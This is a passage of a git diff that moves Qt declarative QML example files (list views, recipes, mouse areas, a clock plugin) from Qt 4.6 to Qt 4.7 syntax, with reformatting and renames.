-                width: childrenRect.width; anchors.verticalCenter: parent.verticalCenter
-                Image { source: "content/pics/list-add.png"
-                    ClickAutoRepeating { id: clickUp; anchors.fill: parent; onClicked: fruitModel.setProperty(index,"cost",cost+0.25) }
-                    scale: clickUp.isPressed ? 0.9 : 1; transformOrigin: Item.Center
+
+                anchors { right: removeButton.left; rightMargin: 35; verticalCenter: parent.verticalCenter }
+                width: childrenRect.width 
+                spacing: 10
+
+                Image {
+                    source: "content/pics/list-add.png"
+                    scale: clickUp.isPressed ? 0.9 : 1
+                    transformOrigin: Item.Center
+
+                    ClickAutoRepeating {
+                        id: clickUp
+                        anchors.fill: parent
+                        onClicked: fruitModel.setProperty(index, "cost", cost+0.25)
+                    }
                 }
+
                 Text { id: costText; text: '$'+Number(cost).toFixed(2); font.pixelSize: 15; color: "White"; font.bold: true; }
-                Image { source: "content/pics/list-remove.png"
-                    ClickAutoRepeating { id: clickDown; anchors.fill: parent; onClicked: fruitModel.setProperty(index,"cost",Math.max(0,cost-0.25)) }
-                    scale: clickDown.isPressed ? 0.9 : 1; transformOrigin: Item.Center
+
+                Image {
+                    source: "content/pics/list-remove.png"
+                    scale: clickDown.isPressed ? 0.9 : 1
+                    transformOrigin: Item.Center
+
+                    ClickAutoRepeating { 
+                        id: clickDown
+                        anchors.fill: parent
+                        onClicked: fruitModel.setProperty(index, "cost", Math.max(0,cost-0.25))
+                    }
                 }
             }
             Image {
-                id: removeButton; source: "content/pics/archive-remove.png"
+                id: removeButton
                 anchors { verticalCenter: parent.verticalCenter; right: parent.right; rightMargin: 10 }
+                source: "content/pics/archive-remove.png"
+
                 MouseArea { anchors.fill:parent; onClicked: fruitModel.remove(index) }
             }
         }
@@ -100,60 +136,75 @@ Rectangle {
 
     ListView {
         id: view
-        model: fruitModel; delegate: fruitDelegate
         anchors { top: parent.top; left: parent.left; right: parent.right; bottom: buttons.top }
+        model: fruitModel
+        delegate: fruitDelegate
     }
 
     // Attach scrollbar to the right edge of the view.
     ScrollBar {
         id: verticalScrollBar
+
+        width: 8; height: view.height; anchors.right: view.right
         opacity: 0
         orientation: "Vertical"
         position: view.visibleArea.yPosition
         pageSize: view.visibleArea.heightRatio
-        width: 8
-        height: view.height
-        anchors.right: view.right
+
         // Only show the scrollbar when the view is moving.
-        states: [
-            State {
-                name: "ShowBars"; when: view.moving
-                PropertyChanges { target: verticalScrollBar; opacity: 1 }
-            }
-        ]
-        transitions: [ Transition { NumberAnimation { properties: "opacity"; duration: 400 } } ]
+        states: State {
+            name: "ShowBars"; when: view.moving
+            PropertyChanges { target: verticalScrollBar; opacity: 1 }
+        }
+        transitions: Transition {
+            NumberAnimation { properties: "opacity"; duration: 400 }
+        } 
     }
 
     Row {
-        x: 8; width: childrenRect.width
-        height: childrenRect.height
+        id: buttons
+
+        x: 8; width: childrenRect.width; height: childrenRect.height
         anchors { bottom: parent.bottom; bottomMargin: 8 }
         spacing: 8
-        id: buttons
-        Image { source: "content/pics/archive-insert.png"
-            MouseArea { anchors.fill: parent;
+
+        Image {
+            source: "content/pics/archive-insert.png"
+
+            MouseArea {
+                anchors.fill: parent
                 onClicked: {
                     fruitModel.append({
-                        "name":"Pizza Margarita",
-                        "cost":5.95,
-                        "attributes":[{"description": "Cheese"},{"description": "Tomato"}]
-                        })
+                        "name": "Pizza Margarita",
+                        "cost": 5.95,
+                        "attributes": [{"description": "Cheese"},{"description": "Tomato"}]
+                    })
                 }
             }
         }
-        Image { source: "content/pics/archive-insert.png"
-            MouseArea { anchors.fill: parent;
+
+        Image {
+            source: "content/pics/archive-insert.png"
+
+            MouseArea {
+                anchors.fill: parent;
                 onClicked: {
-                    fruitModel.insert(0,{
-                        "name":"Pizza Supreme",
-                        "cost":9.95,
-                        "attributes":[{"description": "Cheese"},{"description": "Tomato"},{"description": "The Works"}]
-                        })
+                    fruitModel.insert(0, {
+                        "name": "Pizza Supreme",
+                        "cost": 9.95,
+                        "attributes": [{"description": "Cheese"},{"description": "Tomato"},{"description": "The Works"}]
+                    })
                 }
             }
         }
-        Image { source: "content/pics/archive-remove.png"
-            MouseArea { anchors.fill: parent; onClicked: fruitModel.clear() }
+
+        Image { 
+            source: "content/pics/archive-remove.png"
+
+            MouseArea { 
+                anchors.fill: parent
+                onClicked: fruitModel.clear()
+            }
         }
     }
 }
diff --git a/examples/declarative/listview/highlight.qml b/examples/declarative/listview/highlight.qml
index 5e4911d..50ba2f7 100644
--- a/examples/declarative/listview/highlight.qml
+++ b/examples/declarative/listview/highlight.qml
@@ -1,12 +1,13 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
-    width: 400; height: 300; color: "white"
+    width: 400; height: 300
 
     // MyPets model is defined in dummydata/MyPetsModel.qml
     // The viewer automatically loads files in dummydata/* to assist
     // development without a real data source.
     // This one contains my pets.
+
     // Define a delegate component.  A component will be
     // instantiated for each visible item in the list.
     Component {
@@ -21,20 +22,14 @@ Rectangle {
             }
             // Use the ListView.isCurrentItem attached property to
             // indent the item if it is the current item.
-            states: [
-                State {
-                    name: "Current"
-                    when: wrapper.ListView.isCurrentItem
-                    PropertyChanges { target: wrapper; x: 10 }
-                }
-            ]
-            transitions: [
-                Transition {
-                    NumberAnimation {
-                        properties: "x"; duration: 200
-                    }
-                }
-            ]
+            states: State {
+                name: "Current"
+                when: wrapper.ListView.isCurrentItem
+                PropertyChanges { target: wrapper; x: 10 }
+            }
+            transitions: Transition {
+                NumberAnimation { properties: "x"; duration: 200 } 
+            }
         }
     }
     // Specify a highlight with custom movement.  Note that highlightFollowsCurrentItem
@@ -43,14 +38,17 @@ Rectangle {
     Component {
         id: petHighlight
         Rectangle {
-            width: 200; height: 50; color: "#FFFF88"
-            SpringFollow on y { source: list1.currentItem.y; spring: 3; damping: 0.1 }
+            width: 200; height: 50
+            color: "#FFFF88"
+            SpringFollow on y { to: list1.currentItem.y; spring: 3; damping: 0.1 }
         }
     }
+
     ListView {
         id: list1
         width: 200; height: parent.height
-        model: MyPetsModel; delegate: petDelegate
+        model: MyPetsModel
+        delegate: petDelegate
         highlight: petHighlight; highlightFollowsCurrentItem: false
         focus: true
     }
diff --git a/examples/declarative/listview/itemlist.qml b/examples/declarative/listview/itemlist.qml
index 41aa860..e387f28 100644
--- a/examples/declarative/listview/itemlist.qml
+++ b/examples/declarative/listview/itemlist.qml
@@ -1,7 +1,7 @@
 // This example demonstrates placing items in a view using
 // a VisualItemModel
 
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     color: "lightgray"
@@ -10,23 +10,27 @@ Rectangle {
 
     VisualItemModel {
         id: itemModel
+
         Rectangle {
-            height: view.height; width: view.width; color: "#FFFEF0"
+            width: view.width; height: view.height
+            color: "#FFFEF0"
             Text { text: "Page 1"; font.bold: true; anchors.centerIn: parent }
         }
         Rectangle {
-            height: view.height; width: view.width; color: "#F0FFF7"
+            width: view.width; height: view.height
+            color: "#F0FFF7"
             Text { text: "Page 2"; font.bold: true; anchors.centerIn: parent }
         }
         Rectangle {
-            height: view.height; width: view.width; color: "#F4F0FF"
+            width: view.width; height: view.height
+            color: "#F4F0FF"
             Text { text: "Page 3"; font.bold: true; anchors.centerIn: parent }
         }
     }
 
     ListView {
         id: view
-        anchors.fill: parent; anchors.bottomMargin: 30
+        anchors { fill: parent; bottomMargin: 30 }
         model: itemModel
         preferredHighlightBegin: 0; preferredHighlightEnd: 0
         highlightRangeMode: "StrictlyEnforceRange"
@@ -35,22 +39,27 @@ Rectangle {
     }
 
     Rectangle {
+        width: 240; height: 30
+        anchors { top: view.bottom; bottom: parent.bottom }
         color: "gray"
-        anchors.top: view.bottom
-        anchors.bottom: parent.bottom
-        height: 30
-        width: 240
 
         Row {
             anchors.centerIn: parent
             spacing: 20
+
             Repeater {
                 model: itemModel.count
+
                 Rectangle {
                     width: 5; height: 5
                     radius: 3
-                    MouseArea { width: 20; height: 20; anchors.centerIn: parent; onClicked: view.currentIndex = index }
                     color: view.currentIndex == index ? "blue" : "white"
+
+                    MouseArea { 
+                        width: 20; height: 20
+                        anchors.centerIn: parent
+                        onClicked: view.currentIndex = index
+                    }
                 }
             }
         }
diff --git a/examples/declarative/listview/listview-example.qml b/examples/declarative/listview/listview-example.qml
new file mode 100644
index 0000000..6feedf6
--- /dev/null
+++ b/examples/declarative/listview/listview-example.qml
@@ -0,0 +1,93 @@
+import Qt 4.7
+
+Rectangle {
+    width: 600; height: 300
+
+    // MyPets model is defined in dummydata/MyPetsModel.qml
+    // The viewer automatically loads files in dummydata/* to assist
+    // development without a real data source.
+    // This one contains my pets.
+
+    // Define a delegate component.  A component will be
+    // instantiated for each visible item in the list.
+    Component {
+        id: petDelegate
+        Item {
+            width: 200; height: 50
+            Column {
+                Text { text: 'Name: ' + name }
+                Text { text: 'Type: ' + type }
+                Text { text: 'Age: ' + age }
+            }
+        }
+    }
+
+    // Define a highlight component.  Just one of these will be instantiated
+    // by each ListView and placed behind the current item.
+    Component {
+        id: petHighlight
+        Rectangle { color: "#FFFF88" }
+    }
+
+    // Show the model in three lists, with different highlight ranges.
+    // preferredHighlightBegin and preferredHighlightEnd set the
+    // range in which to attempt to maintain the highlight.
+    //
+    // Note that the second and third ListView
+    // set their currentIndex to be the same as the first, and that
+    // the first ListView is given keyboard focus.
+    //
+    // The default mode allows the currentItem to move freely
+    // within the visible area.  If it would move outside the visible
+    // area, the view is scrolled to keep it visible.
+    //
+    // The second list sets a highlight range which attempts to keep the
+    // current item within the the bounds of the range, however
+    // items will not scroll beyond the beginning or end of the view,
+    // forcing the highlight to move outside the range at the ends.
+    //
+    // The third list sets the highlightRangeMode to StrictlyEnforceRange
+    // and sets a range smaller than the height of an item.  This
+    // forces the current item to change when the view is flicked,
+    // since the highlight is unable to move.
+    //
+    // Note that the first ListView sets its currentIndex to be equal to
+    // the third ListView's currentIndex.  By flicking List3 with
+    // the mouse, the current index of List1 will be changed.
+
+    ListView {
+        id: list1
+        width: 200; height: parent.height
+        model: MyPetsModel
+        delegate: petDelegate
+
+        highlight: petHighlight
+        currentIndex: list3.currentIndex
+        focus: true
+    }
+
+    ListView {
+        id: list2
+        x: 200; width: 200; height: parent.height
+        model: MyPetsModel
+        delegate: petDelegate
+
+        highlight: petHighlight
+        currentIndex: list1.currentIndex
+        preferredHighlightBegin: 80; preferredHighlightEnd: 220
+        highlightRangeMode: "ApplyRange"
+    }
+
+    ListView {
+        id: list3
+        x: 400; width: 200; height: parent.height
+        model: MyPetsModel
+        delegate: petDelegate
+
+        highlight: Rectangle { color: "lightsteelblue" }
+        currentIndex: list1.currentIndex
+        preferredHighlightBegin: 125; preferredHighlightEnd: 125
+        highlightRangeMode: "StrictlyEnforceRange"
+        flickDeceleration: 1000
+    }
+}
diff --git a/examples/declarative/listview/listview.qml b/examples/declarative/listview/listview.qml
deleted file mode 100644
index 92acce1..0000000
--- a/examples/declarative/listview/listview.qml
+++ /dev/null
@@ -1,77 +0,0 @@
-import Qt 4.6
-
-Rectangle {
-    width: 600; height: 300; color: "white"
-
-    // MyPets model is defined in dummydata/MyPetsModel.qml
-    // The viewer automatically loads files in dummydata/* to assist
-    // development without a real data source.
-    // This one contains my pets.
-    // Define a delegate component.  A component will be
-    // instantiated for each visible item in the list.
-    Component {
-        id: petDelegate
-        Item {
-            width: 200; height: 50
-            Column {
-                Text { text: 'Name: ' + name }
-                Text { text: 'Type: ' + type }
-                Text { text: 'Age: ' + age }
-            }
-        }
-    }
-
-    // Define a highlight component.  Just one of these will be instantiated
-    // by each ListView and placed behind the current item.
-    Component {
-        id: petHighlight
-        Rectangle { color: "#FFFF88" }
-    }
-
-    // Show the model in three lists, with different highlight ranges.
-    // preferredHighlightBegin and preferredHighlightEnd set the
-    // range in which to attempt to maintain the highlight.
-    // Note that the second and third ListView
-    // set their currentIndex to be the same as the first, and that
-    // the first ListView is given keyboard focus.
-    // The default mode allows the currentItem to move freely
-    // within the visible area.  If it would move outside the visible
-    // area, the view is scrolled to keep it visible.
-    // The second list sets a highlight range which attempts to keep the
-    // current item within the the bounds of the range, however
-    // items will not scroll beyond the beginning or end of the view,
-    // forcing the highlight to move outside the range at the ends.
-    // The third list sets the highlightRangeMode to StrictlyEnforceRange
-    // and sets a range smaller than the height of an item.  This
-    // forces the current item to change when the view is flicked,
-    // since the highlight is unable to move.
-    // Note that the first ListView sets its currentIndex to be equal to
-    // the third ListView's currentIndex.  By flicking List3 with
-    // the mouse, the current index of List1 will be changed.
-    ListView {
-        id: list1
-        width: 200; height: parent.height
-        model: MyPetsModel; delegate: petDelegate
-        highlight: petHighlight; currentIndex: list3.currentIndex
-        focus: true
-    }
-    ListView {
-        id: list2
-        x: 200; width: 200; height: parent.height
-        model: MyPetsModel; delegate: petDelegate; highlight: petHighlight
-        preferredHighlightBegin: 80
-        preferredHighlightEnd: 220
-        highlightRangeMode: "ApplyRange"
-        currentIndex: list1.currentIndex
-    }
-    ListView {
-        id: list3
-        x: 400; width: 200; height: parent.height
-        model: MyPetsModel; delegate: petDelegate; highlight: petHighlight
-        currentIndex: list1.currentIndex
-        preferredHighlightBegin: 125
-        preferredHighlightEnd: 125
-        highlightRangeMode: "StrictlyEnforceRange"
-        flickDeceleration: 1000
-    }
-}
diff --git a/examples/declarative/listview/recipes.qml b/examples/declarative/listview/recipes.qml
index b76a9ab..990e272 100644
--- a/examples/declarative/listview/recipes.qml
+++ b/examples/declarative/listview/recipes.qml
@@ -1,20 +1,21 @@
-import Qt 4.6
+import Qt 4.7
 import "content"
 
 // This example illustrates expanding a list item to show a more detailed view
 
 Rectangle {
     id: page
-    width: 400; height: 240; color: "black"
+    width: 400; height: 240
+    color: "black"
 
     // Delegate for the recipes.  This delegate has two modes:
     // 1. the list mode (default), which just shows the picture and title of the recipe.
     // 2. the details mode, which also shows the ingredients and method.
     Component {
         id: recipeDelegate
+
         Item {
             id: wrapper
-            width: list.width
 
             // Create a property to contain the visibility of the details.
             // We can bind multiple element's opacity to this one property,
@@ -22,11 +23,15 @@ Rectangle {
             // want to fade.
             property real detailsOpacity : 0
 
+            width: list.width
+
             // A simple rounded rectangle for the background
             Rectangle {
                 id: background
                 x: 1; y: 2; width: parent.width - 2; height: parent.height - 4
-                color: "#FEFFEE"; border.color: "#FFBE4F"; radius: 5
+                color: "#FEFFEE"
+                border.color: "#FFBE4F"
+                radius: 5
             }
 
             // This mouse region covers the entire delegate.
@@ -52,15 +57,21 @@ Rectangle {
                 }
 
                 Column {
-                    height: recipePic.height; width: background.width-recipePic.width-20
+                    width: background.width-recipePic.width-20; height: recipePic.height; 
                     spacing: 5
+
                     Text { id: name; text: title; font.bold: true; font.pointSize: 16 }
+
                     Text {
-                        text: "Ingredients"; font.pointSize: 12; font.bold: true
+                        text: "Ingredients"
+                        font.pointSize: 12; font.bold: true
                         opacity: wrapper.detailsOpacity
                     }
+
                     Text {
-                        text: ingredients; wrap: true; width: parent.width
+                        text: ingredients
+                        wrapMode: Text.WordWrap
+                        width: parent.width
                         opacity: wrapper.detailsOpacity
                     }
                 }
@@ -69,52 +80,61 @@ Rectangle {
             Item {
                 id: details
                 x: 10; width: parent.width-20
-                anchors.top: topLayout.bottom; anchors.topMargin: 10
-                anchors.bottom: parent.bottom; anchors.bottomMargin: 10
+                anchors { top: topLayout.bottom; topMargin: 10; bottom: parent.bottom; bottomMargin: 10 }
                 opacity: wrapper.detailsOpacity
 
                 Text {
                     id: methodTitle
-                    text: "Method"; font.pointSize: 12; font.bold: true
                     anchors.top: parent.top
+                    text: "Method"
+                    font.pointSize: 12; font.bold: true
                 }
+
                 Flickable {
                     id: flick
-                    anchors.top: methodTitle.bottom; anchors.bottom: parent.bottom
-                    width: parent.width; contentHeight: methodText.height; clip: true
-                    Text { id: methodText; text: method; wrap: true; width: details.width }
+                    width: parent.width
+                    anchors { top: methodTitle.bottom; bottom: parent.bottom }
+                    contentHeight: methodText.height; clip: true
+
+                    Text { id: methodText; text: method; wrapMode: Text.WordWrap; width: details.width }
                 }
+
                 Image {
-                    anchors.right: flick.right; anchors.top: flick.top
-                    source: "content/pics/moreUp.png"; opacity: flick.atYBeginning ? 0 : 1
+                    anchors { right: flick.right; top: flick.top }
+                    source: "content/pics/moreUp.png"
+                    opacity: flick.atYBeginning ? 0 : 1
                 }
+
                 Image {
-                    anchors.right: flick.right; anchors.bottom: flick.bottom
-                    source: "content/pics/moreDown.png"; opacity: flick.atYEnd ? 0 : 1
+                    anchors { right: flick.right; bottom: flick.bottom }
+                    source: "content/pics/moreDown.png"
+                    opacity: flick.atYEnd ? 0 : 1
                 }
             }
 
             // A button to close the detailed view, i.e. set the state back to default ('').
             MediaButton {
-                anchors.right: background.right; anchors.rightMargin: 5
-                y: 10; opacity: wrapper.detailsOpacity
-                text: "Close"; onClicked: wrapper.state = '';
+                y: 10; anchors { right: background.right; rightMargin: 5 }
+                opacity: wrapper.detailsOpacity
+                text: "Close"
+
+                onClicked: wrapper.state = '';
             }
 
-            // Make the default height equal the hight of the picture, plus margin.
+            // Set the default height to the height of the picture, plus margin.
             height: 68
 
             states: State {
                 name: "Details"
+
                 PropertyChanges { target: background; color: "white" }
-                // Make the picture bigger
-                PropertyChanges { target: recipePic; width: 128; height: 128 }
-                // Make details visible
-                PropertyChanges { target: wrapper; detailsOpacity: 1; x: 0 }
-                // Make the detailed view fill the entire list area
-                PropertyChanges { target: wrapper; height: list.height }
+                PropertyChanges { target: recipePic; width: 128; height: 128 } // Make picture bigger
+                PropertyChanges { target: wrapper; detailsOpacity: 1; x: 0 } // Make details visible
+                PropertyChanges { target: wrapper; height: list.height } // Fill the entire list area with the detailed view
+
                 // Move the list so that this item is at the top.
                 PropertyChanges { target: wrapper.ListView.view; explicit: true; contentY: wrapper.y }
+
                 // Disallow flicking while we're in detailed view
                 PropertyChanges { target: wrapper.ListView.view; interactive: false }
             }
@@ -123,9 +143,7 @@ Rectangle {
                 // Make the state changes smooth
                 ParallelAnimation {
                     ColorAnimation { property: "color"; duration: 500 }
-                    NumberAnimation {
-                        duration: 300; properties: "detailsOpacity,x,contentY,height,width"
-                    }
+                    NumberAnimation { duration: 300; properties: "detailsOpacity,x,contentY,height,width" }
                 }
             }
         }
@@ -134,7 +152,9 @@ Rectangle {
     // The actual list
     ListView {
         id: list
-        model: Recipes; delegate: recipeDelegate
-        anchors.fill: parent; clip: true
+        anchors.fill: parent
+        clip: true
+        model: Recipes
+        delegate: recipeDelegate
     }
 }
diff --git a/examples/declarative/listview/sections.qml b/examples/declarative/listview/sections.qml
index 877026b..0a81f63 100644
--- a/examples/declarative/listview/sections.qml
+++ b/examples/declarative/listview/sections.qml
@@ -1,10 +1,10 @@
-import Qt 4.6
+import Qt 4.7
 
 //! [0]
 Rectangle {
     width: 200
     height: 240
-    color: "white"
+
     // MyPets model is defined in dummydata/MyPetsModel.qml
     // The viewer automatically loads files in dummydata/* to assist
     // development without a real data source.
@@ -13,15 +13,16 @@ Rectangle {
     // Define a delegate component that includes a separator for sections.
     Component {
         id: petDelegate
+
         Item {
             id: wrapper
             width: 200
-            // My height is the combined height of the description and the section separator
-            height: desc.height
+            height: desc.height // height is the combined height of the description and the section separator
+
             Item {
                 id: desc
-                x: 5
-                height: layout.height + 4
+                x: 5; height: layout.height + 4
+
                 Column {
                     id: layout
                     y: 2
@@ -32,22 +33,24 @@ Rectangle {
             }
         }
     }
+
     // Define a highlight component.  Just one of these will be instantiated
     // by each ListView and placed behind the current item.
     Component {
         id: petHighlight
-        Rectangle {
-            color: "#FFFF88"
-        }
+        Rectangle { color: "#FFFF88" }
     }
+
     // The list
     ListView {
         id: myList
-        width: 200
-        height: parent.height
+
+        width: 200; height: parent.height
         model: MyPetsModel
         delegate: petDelegate
         highlight: petHighlight
+        focus: true
+
         // The sectionExpression is simply the size of the pet.
         // We use this to determine which section we are in above.
         section.property: "size"
@@ -57,11 +60,12 @@ Rectangle {
             width: 200
             height: 20
             Text {
-                text: section; font.bold: true
-                x: 2; height: parent.height; verticalAlignment: 'AlignVCenter'
+                x: 2; height: parent.height
+                verticalAlignment: 'AlignVCenter'
+                text: section
+                font.bold: true
             }
         }
-        focus: true
     }
 }
 //! [0]
diff --git a/examples/declarative/mousearea/mouse.qml b/examples/declarative/mousearea/mouse.qml
index 9191f8a..67302a8 100644
--- a/examples/declarative/mousearea/mouse.qml
+++ b/examples/declarative/mousearea/mouse.qml
@@ -1,40 +1,47 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
-    color: "white"
     width: 200; height: 200
+
     Rectangle {
         width: 50; height: 50
         color: "red"
+
         Text { text: "Click"; anchors.centerIn: parent }
+
         MouseArea {
+            anchors.fill: parent
             hoverEnabled: true
             acceptedButtons: Qt.LeftButton | Qt.RightButton
-            onPressed: { console.log('press (x: ' + mouse.x + ' y: ' + mouse.y + ' button: ' + (mouse.button == Qt.RightButton ? 'right' : 'left') + ' Shift: ' + (mouse.modifiers & Qt.ShiftModifier ? 'true' : 'false') + ')') }
-            onReleased: { console.log('release (x: ' + mouse.x + ' y: ' + mouse.y + ' isClick: ' + mouse.isClick + ' wasHeld: ' + mouse.wasHeld + ')') }
-            onClicked: { console.log('click (x: ' + mouse.x + ' y: ' + mouse.y + ' wasHeld: ' + mouse.wasHeld + ')') }
-            onDoubleClicked: { console.log('double click (x: ' + mouse.x + ' y: ' + mouse.y + ')') }
-            onPressAndHold: { console.log('press and hold') }
-            onEntered: { console.log('entered ' + pressed) }
-            onExited: { console.log('exited ' + pressed) }
-            anchors.fill: parent
+
+            onPressed: console.log('press (x: ' + mouse.x + ' y: ' + mouse.y + ' button: ' + (mouse.button == Qt.RightButton ? 'right' : 'left') + ' Shift: ' + (mouse.modifiers & Qt.ShiftModifier ? 'true' : 'false') + ')') 
+            onReleased: console.log('release (x: ' + mouse.x + ' y: ' + mouse.y + ' isClick: ' + mouse.isClick + ' wasHeld: ' + mouse.wasHeld + ')') 
+            onClicked: console.log('click (x: ' + mouse.x + ' y: ' + mouse.y + ' wasHeld: ' + mouse.wasHeld + ')')
+            onDoubleClicked: console.log('double click (x: ' + mouse.x + ' y: ' + mouse.y + ')')
+            onPressAndHold: console.log('press and hold')
+            onEntered: console.log('entered ' + pressed)
+            onExited: console.log('exited ' + pressed)
         }
     }
+
     Rectangle {
         y: 100; width: 50; height: 50
         color: "blue"
+
         Text { text: "Drag"; anchors.centerIn: parent }
+
         MouseArea {
+            anchors.fill: parent
             drag.target: parent
             drag.axis: "XAxis"
             drag.minimumX: 0
             drag.maximumX: 150
-            onPressed: { console.log('press') }
-            onReleased: { console.log('release (isClick: ' + mouse.isClick + ') (wasHeld: ' + mouse.wasHeld + ')') }
-            onClicked: { console.log('click' + '(wasHeld: ' + mouse.wasHeld + ')') }
-            onDoubleClicked: { console.log('double click') }
-            onPressAndHold: { console.log('press and hold') }
-            anchors.fill: parent
+
+            onPressed: console.log('press')
+            onReleased: console.log('release (isClick: ' + mouse.isClick + ') (wasHeld: ' + mouse.wasHeld + ')')
+            onClicked: console.log('click' + '(wasHeld: ' + mouse.wasHeld + ')')
+            onDoubleClicked: console.log('double click')
+            onPressAndHold: console.log('press and hold')
         }
     }
 }
diff --git a/examples/declarative/objectlistmodel/view.qml b/examples/declarative/objectlistmodel/view.qml
index 5f5e415..908e388 100644
--- a/examples/declarative/objectlistmodel/view.qml
+++ b/examples/declarative/objectlistmodel/view.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 ListView {
     width: 100
diff --git a/examples/declarative/package/Delegate.qml b/examples/declarative/package/Delegate.qml
index f35314f..785fde6 100644
--- a/examples/declarative/package/Delegate.qml
+++ b/examples/declarative/package/Delegate.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 //![0]
 Package {
diff --git a/examples/declarative/package/view.qml b/examples/declarative/package/view.qml
index 07bba0c..67f896b 100644
--- a/examples/declarative/package/view.qml
+++ b/examples/declarative/package/view.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     width: 400
diff --git a/examples/declarative/parallax/parallax.qml b/examples/declarative/parallax/parallax.qml
index 6193f27..cb0437d 100644
--- a/examples/declarative/parallax/parallax.qml
+++ b/examples/declarative/parallax/parallax.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 import "../clocks/content"
 import "qml"
 
diff --git a/examples/declarative/parallax/qml/ParallaxView.qml b/examples/declarative/parallax/qml/ParallaxView.qml
index 08193ae..8f5f290 100644
--- a/examples/declarative/parallax/qml/ParallaxView.qml
+++ b/examples/declarative/parallax/qml/ParallaxView.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: root
diff --git a/examples/declarative/parallax/qml/Smiley.qml b/examples/declarative/parallax/qml/Smiley.qml
index 4442d5e..b1e1ae8 100644
--- a/examples/declarative/parallax/qml/Smiley.qml
+++ b/examples/declarative/parallax/qml/Smiley.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: window
@@ -25,7 +25,7 @@ Item {
         // Animate the y property. Setting repeat to true makes the
         // animation repeat indefinitely, otherwise it would only run once.
         SequentialAnimation  on y {
-            repeat: true
+            loops: Animation.Infinite
 
             // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function
             NumberAnimation {
diff --git a/examples/declarative/plugins/README b/examples/declarative/plugins/README
index 621f570..3ae256d 100644
--- a/examples/declarative/plugins/README
+++ b/examples/declarative/plugins/README
@@ -1,9 +1,9 @@
-This example shows a module "com.nokia.TimeExample" that is implelement
+This example shows a module "com.nokia.TimeExample" that is implemented
 by a C++ plugin (providing the "Time" type), and by QML files (providing the
 "Clock" type).
 
 To run:
 
   make install
-  qmlviewer plugins.qml
+  qml plugins.qml
 
diff --git a/examples/declarative/plugins/com/nokia/TimeExample/Clock.qml b/examples/declarative/plugins/com/nokia/TimeExample/Clock.qml
index 622fcf9..0048372 100644
--- a/examples/declarative/plugins/com/nokia/TimeExample/Clock.qml
+++ b/examples/declarative/plugins/com/nokia/TimeExample/Clock.qml
@@ -1,13 +1,13 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: clock
     width: 200; height: 200; color: "gray"
 
     property alias city: cityLabel.text
-    property var hours
-    property var minutes
-    property var shift : 0
+    property variant hours
+    property variant minutes
+    property variant shift : 0
 
     Image { id: background; source: "clock.png" }
 
@@ -20,7 +20,7 @@ Rectangle {
             origin.x: 7.5; origin.y: 73; angle: 0
             SpringFollow on angle {
                 spring: 2; damping: 0.2; modulus: 360
-                source: (clock.hours * 30) + (clock.minutes * 0.5)
+                to: (clock.hours * 30) + (clock.minutes * 0.5)
             }
         }
     }
@@ -34,7 +34,7 @@ Rectangle {
             origin.x: 6.5; origin.y: 83; angle: 0
             SpringFollow on angle {
                 spring: 2; damping: 0.2; modulus: 360
-                source: clock.minutes * 6
+                to: clock.minutes * 6
             }
         }
     }
diff --git a/examples/declarative/plugins/plugin.cpp b/examples/declarative/plugins/plugin.cpp
index 741f68a..fb51b0c 100644
--- a/examples/declarative/plugins/plugin.cpp
+++ b/examples/declarative/plugins/plugin.cpp
@@ -46,7 +46,7 @@
 #include <qbasictimer.h>
 #include <qapplication.h>
 
-// Implements a "Time" class with hour and minute properties
+// Implements a "TimeModel" class with hour and minute properties
 // that change on-the-minute yet efficiently sleep the rest
 // of the time.
 
@@ -97,14 +97,14 @@ private:
     QBasicTimer timer;
 };
 
-class Time : public QObject
+class TimeModel : public QObject
 {
     Q_OBJECT
     Q_PROPERTY(int hour READ hour NOTIFY timeChanged)
     Q_PROPERTY(int minute READ minute NOTIFY timeChanged)
 
 public:
-    Time(QObject *parent=0) : QObject(parent)
+    TimeModel(QObject *parent=0) : QObject(parent)
     {
         if (++instances == 1) {
             if (!timer)
@@ -114,7 +114,7 @@ public:
         }
     }
 
-    ~Time()
+    ~TimeModel()
     {
         if (--instances == 0) {
             timer->stop();
@@ -133,12 +133,8 @@ private:
     static int instances;
 };
 
-int Time::instances=0;
-MinuteTimer *Time::timer=0;
-
-
-QML_DECLARE_TYPE(Time);
-
+int TimeModel::instances=0;
+MinuteTimer *TimeModel::timer=0;
 
 class QExampleQmlPlugin : public QDeclarativeExtensionPlugin
 {
@@ -147,7 +143,7 @@ public:
     void registerTypes(const char *uri)
     {
         Q_ASSERT(uri == QLatin1String("com.nokia.TimeExample"));
-        qmlRegisterType<Time>(uri, 1, 0, "Time");
+        qmlRegisterType<TimeModel>(uri, 1, 0, "Time");
     }
 };
 
diff --git a/examples/declarative/plugins/plugins.pro b/examples/declarative/plugins/plugins.pro
index 877a5ce..c409d39 100644
--- a/examples/declarative/plugins/plugins.pro
+++ b/examples/declarative/plugins/plugins.pro
@@ -8,7 +8,7 @@ VERSION = 1.0.0
 SOURCES += plugin.cpp
 
 qdeclarativesources.files += \
-    com/nokia/TimeExample/qdeclarativedir \
+    com/nokia/TimeExample/qmldir \
     com/nokia/TimeExample/center.png \
     com/nokia/TimeExample/clock.png \
     com/nokia/TimeExample/Clock.qml \
@@ -22,6 +22,11 @@ sources.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins
 
 target.path += $$[QT_INSTALL_EXAMPLES]/declarative/plugins/com/nokia/TimeExample
 
+symbian:{
+    TARGET.EPOCALLOWDLLDATA=1
+}
+
+
 INSTALLS += qdeclarativesources sources target
 
 symbian: include($$QT_SOURCE_TREE/examples/symbianpkgrules.pri)
diff --git a/examples/declarative/plugins/plugins.qml b/examples/declarative/plugins/plugins.qml
index 44b552b..449cd9a 100644
--- a/examples/declarative/plugins/plugins.qml
+++ b/examples/declarative/plugins/plugins.qml
@@ -1,8 +1,8 @@
 import com.nokia.TimeExample 1.0 // import types from the plugin
 
